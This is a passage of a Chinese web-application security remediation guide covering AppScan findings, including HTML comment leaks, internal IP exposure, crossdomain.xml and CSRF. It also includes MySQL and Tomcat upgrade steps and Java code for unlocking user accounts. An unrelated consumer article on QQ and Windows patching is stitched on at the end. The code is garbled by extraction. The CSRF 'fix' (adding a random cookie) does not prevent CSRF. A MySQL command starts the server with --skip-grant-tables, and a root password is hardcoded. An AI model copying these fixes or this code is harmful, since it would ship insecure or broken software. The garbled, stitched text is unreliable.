(五) 解决方案 修改(一)中所列 js 文件中的带有@符的邮件地址 1.3.14 HTML 注释敏感信息泄露 (一) URL http://10.149.113.200/localmng/frames/indexFrame.jsp (二) 安全问题描述 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文 件位置 (三) 攻击方法 很多 Web 应用程序程序员使用 HTML 注释,以在需要时帮助调试应用程序。尽 管添加常规注释有助于调试应用程序,但一些程序员往往会遗留重要数据(例如:与 Web 应用程序相关的文件名、 旧的链接或原非供用户浏览的链接、 旧的代码片段等) 。

(四) 安全规范要求 [1] 请勿在 HTML 注释中遗留任何重要信息(如文件名或文件路径) 。 52 安全规范 [2] 从生产站点注释中除去以前(或未来)站点链接的跟踪信息。

[3] 避免在 HTML 注释中放置敏感信息。

[4] 确保 HTML 注释不包括源代码片段。

[5] 确保程序员没有遗留重要信息。

(五) 解决方案 删除 indexFrame.jsp 中注释的以下代码 <!–frame src="/fsdp/frames/bottomFrame.jsp"" name="bottomFrame" f rameborder="no"scrolling="no" noresize="noresize" marginwidth="0" marginheight="0" id="bottomFrame"title="bottomFrame"–> 1.3.15 发现内部 IP 泄露模式 (一) URL http://10.149.113.200/localmng/frames/topFrame.jsp (二) 安全问题描述 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文 件位置 (三) 攻击方法 AppScan 检测到包含内部 IP 地址的响应。

内部 IP 定义为下列 IP 范围内的 IP

10.0.0.0 – 10.255.255.255 172.16.0.0 – 172.31.255.255 192.168.0.0 – 192.168.255.255 对攻击者而言,泄露内部 IP 非常有价值,因为它显示了内部网络的 IP 地址方 案。

知道内部网络的 IP 地址方案, 可以辅助攻击者策划出对内部网络进一步的攻击。

(四) 安全规范要求 内部 IP 通常显现在 Web 应用程序/服务器所生成的错误消息中,或显现在 HTML/JavaScript 注释中。

[1] 关闭 Web 应用程序/服务器中有问题的详细错误消息。

[2] 确保已安装相关的补丁。

[3] 确保内部 IP 信息未留在 HTML/JavaScript 注释中。

(五) 解决方案 JSP 中有以下代码 window.open("http://10.153.144.204/"); 53 安全规范 此代码不符合安全要求,与客户沟通确认后再进行删除。

1.3.16 主机允许从任何域进行 flash 访问 (一) URL http://10.152.153.246:8080/ (二) 安全问题描述 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客 能够以该用户身份查看或变更用户记录以及执行事务 (三) 攻击方法 crossdomain.xml 是一个策略文件,定义 Web 页面资源是否能从不同域的 Flash 应用程序进行访问。

Web 站点的 crossdomain.xml 策略太宽容 当 (例如, 允许任何域的 Flash 文件访问站点资源)时,可能会导致“跨站点伪造请求”或“跨 站点跟踪”“跨站点脚本编制”的变体)之类的攻击。

( (四) 安全规范要求 请安装 crossdomain.xml 文件中 allow-access-from 实体的 domain 属性 来包括特定域名,而不是任何域。

(五) 解决方案 设置 crossdomain.xml 文件中 allow-accessfrom 实体的域属性,以包含特 定域名而不是任何域。把设置的“*”符号用 IP 地址段表示 1.3.17 主机应用软件漏洞修复 (一) Apache tomcat 升级到 apache tomcat 7.11 版本,直接下载解压,再将 webapps 下的应用复 制过来,修改 java_home 与初始化内存与之前的 tomcat 一样,在 bin 目录下的 catalina.sh 文件里 (二) Mysql 升级之前一定要备份 MYSQL 数据库(非常重要) 升级到 5.1.35, mysql5.0升级到5.1 shell> groupadd mysql shell> useradd -g mysql mysql shell> cd /usr/local shell> gunzip < /path/to/mysql-VERSION-OS.tar.gz | tar xvf shell> ln -s full-path-to-mysql-VERSION-OS mysql 54 安全规范 shell> shell> shell> shell> shell> shell> shell> cd mysql chown -R mysql . chgrp -R mysql . scripts/mysql_install_db –user=mysql chown -R root . chown -R mysql data bin/mysqld_safe –user=mysql & ./bin/mysqld_safe –datadir=/var/lib/mysql/data –user=mysql –skip-grant-tables & 不检查表启动 ./bin/mysql_upgrade –defaults-file=/etc/my.cnf –socket=/var/lib/mysql/mysql.sock 升级系统 修改/etc/init.d/mysqld /usr/local/mysql/bin/mysqladmin –socket=/var/lib/mysql/mysql.sock -udamon ping 指定sock,防止启用时连接不到MYSQL报超时错误 修改默认mysqld为/usr/local/mysql/bin/mysqld (三) ftp 弱账号 修改/etc/vsftpd/vsftpd.conf 文件, 找到 anonymous_enable=YES 一行, 将 YES 改为 NO (四) mysql root 用户密码为空 用 root 用户登录 mysql 数据库后进行如下操作 use mysql; update user set password = password(‘one#098’) where user = ‘root’; flush privileges; exit; (五) mysql 弱密码 跟 root 密码修改一样 1.3.18 目录列表 要禁止 Apache 显示目录结构列表,只需将 Option 中的 Indexes 去掉即可。

比如我们看看一个目录的目录配置

<Directory "D:/Apa/blabla"> Options Indexes FollowSymLinks AllowOverride None 55 安全规范 Order allow,deny Allow from all </Directory> 你只需要将上面红色代码中的Indexes去掉,就可以禁止 Apache 显示该目录结构。

用户就不会看到该目录下的文件和子目录列表了。

Indexes的作用就是当该目录下没有 index.html 文件时,就显示目录结构,去掉 Indexes,Apache 就不会显示该目录的列表了。 1.3.19 跨站点请求伪造 (一) URL https://120.209.150.250:8443/hfpm/hfpm/login.jsp (二) 安全问题描述 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够 以该用户身份查看或变更用户记录以及执行事务 (三) 攻击方法 这个漏洞的严重性取决于受影响的应用程序的功能,例如,对搜索页面的 CSRF 攻击, 严重性低于对转帐页面或概要更新页面的 CSRF 攻击。

这项攻击的执行方式, 是强迫受害者的浏览器向易受攻击的站点发出 HTTP 请求。

如果用户 目前已登录受害者站点,请求会自动使用用户的凭证(如会话 Cookie、用户的 IP 地址, 以及其他浏览器认证方法)攻击者利用这个方法来伪造受害者的身份, 。

再代替他来提交操作。

换句话来说,易受攻击的站点未采取适当措施来验证用户实际是否想执行特定操作。

(四) 安全规范要求 如果要避免 CSRF 攻击, 每个请求都应该包含唯一标识, 它是攻击者所无法猜测的参数。

建议的选项之一是添加取自会话 cookie 的会话标识,使它成为一个参数。服务器必须检 查这个参数是否符合会话 cookie,若不符合,便废弃请求。攻击者无法猜测这个参数的原 因是应用于 cookie 的“同源策略”,因此,攻击者无法伪造一个虚假的请求,让服务器 误以为真。攻击者难以猜测且无法访问的任何秘密(也就是无法从其他域访问) ,都可用来替 换会话标识。这可以防止攻击者设计看似有效的请求。

(五) 解决方案 修改 ActionFilter.java 类 response.setHeader("Cache-Control","no-store"); response.setHeader("Pragrma","no-cache"); 56 安全规范 response.setDateHeader("Expires",0); response.addCookie(new Cookie("timstamp",UUID.randomUUID().toString())); 红色字体为新增内容 1.1 需要注意的问题 1) 由于账号密码安全需要,现登录方式从 http 转为 https,在首次访问时可能会存 在页面无法打开的情况,修改出错 url,将后面的应用与登录页面内容删除,如 OA 则删除 URL 后面/oa/login.jsp,以后打开不会有此情况,请与客户说明。

2) 用户连续登陆错误超过 3 次时会进行锁定,跟客户说明,如果锁定账号请联系系统 维护人员进行解锁。

1.2 用户锁定解锁功能 修改 LoginImpl.java 类以下方法为 private void addLoginErrorRec(LoginInfo logininfo){ try{ getSimpleJdbcTemplate().update( "insert into tb_userloginerrrec(sessionid,userid,ipaddr,state,logindate,s ystem) values(?, ?, ?, '1', now(), null)", logininfo.getHostIP(), logininfo.getUserID().length() logininfo.getUserID().substring(0,18) logininfo.getUserID(), logininfo.getHostIP()); }catch(Exception e){ e.printStackTrace(); } } > 18 ? : 修改 UserServiceImpl.java 类的 query 方法, pager.addRow 最后一 在 列的操作增加以下内容

&nbsp;&nbsp;|&nbsp;&nbsp;<a href=\"javascript:unlock('"+optr.getUserid()+"')\"> 登 录 解 锁 </a> 57 安全规范 修改 UserWS.java 接口类,增加如下方法 /** * 用户登录解锁 * @author wufeng * @serialData 2012-07-12 * @param logininfo * @param userid * @return * @throws Exception */ public ReturnValue<T> unlock(LoginInfo logininfo,String userid) throws Exception; 修改 UserWSImpl.java 类,增加如下方法 /** * 用户登录解锁 * @author wufeng * @param logininfo * @param userid * @return * @throws Exception */ @Override public userid) throws Exception { ReturnValue unlock(LoginInfo logininfo, String getSimpleJdbcTemplate().update( "DELETE FROM tb_userloginerrrec WHERE userid = ?", userid); //业务操作记录 String optsn = BusiHelper.getSn(getSimpleJdbcTemplate(), 58 安全规范 "B", logininfo.getOrgCode().substring(0,1)); BusiRecord busiRecord = new BusiRecord(); busiRecord.setOptcode("UNLOCK"); busiRecord.setOptrid(logininfo.getUserID()); busiRecord.setOptsn(optsn); busiRecord.setSessionid(logininfo.getSessionid()); busiRecord.setRemark("用户解锁"); BusiHelper.addBusiRecord(getSimpleJdbcTemplate(), busiRecord); ReturnValue ret = new ReturnValue(); ret.setRetCode(ReturnCode.SUCCESS); ret.setRetDesc("用户解锁成功!"); return ret; } 修改 userquery.jsp 文件,增加如下两个函数 /** * 增加用户解锁功能 */ function unlock(id){ var url = "ajaxAction.do?method=json&common=unlock&classes=userService Impl&userid="+id; $.getJSON(url, unlockcallback); } /** * 用户解锁功能回调函数 */ function callback(data) { alert(data.jsondata.retDesc); } 59

第一篇:漏洞修复

操作系统漏洞 操作系统漏洞是指计算机操作系统(如 Windows XP)本身所存在的问题或技术 缺陷,操作系统产品提供商通常会定期对已知漏洞发布补丁程序提供修复服务。

根据 QQ 软件安全组对流行盗号木马病毒的分析数据显示,部分盗号木马病毒能 够利用某些操作系统漏洞侵入用户计算机,伺机盗取 QQ 密码。即使计算机杀毒 软件能够及时清除盗号木马, 盗号木马仍可以再次利用系统漏洞反复入侵您的计 算机。因此,我们强烈建议您定期检查修复操作系统漏洞。检查及修复操作系统 漏洞的方法如下

1. 操作系统自动更新 请您确认和保持当前计算机操作系统的自动更新设置为开启状态, 操作系 统产品提供商通常会及时发布补丁升级程序自动更新您使用的操作系统。

以 Windows XP 操作系统为例,您可以打开“开始”菜单,单击“控制面 板”,在新开启的窗口中依次打开“Windows 安全中心”和“自动更新” 查看当前计算机的自动更新设置。 2. QQ 软件自动检测系统漏洞 登录 QQ 后,如果发现操作系统漏洞,QQ 安全中心将根据用户的个人设置 情况发出通知: 点击“全部修复”选项,则 QQ 将帮助用户自动下载操作系统官方提供的 补丁程序,自动修复发现的操作系统漏洞。

QQ 提示用户修复的操作系统漏洞通常是被较多盗号木马利用的“紧急” 漏洞,如果您不需要 QQ 自动检测操作系统漏洞,可以在 QQ 软件设置中心 修改默认的设置项: 当您选择“不需要提示,我不想修复系统漏洞”时,QQ 将自动屏蔽漏洞 修复功能。

3. 使用安全软件修复系统漏洞 您可以定期使用 QQ 医生等安全修复类软件检查全部操作系统漏洞,我们 推荐您使用 QQ 医生产品定期全面扫描系统漏洞。点这里下载 QQ 医生

漏洞修复》出自:安格美文网
链接地址:http://www.tagmusic.net/article/4Bh7OMTQjKqwHE27.html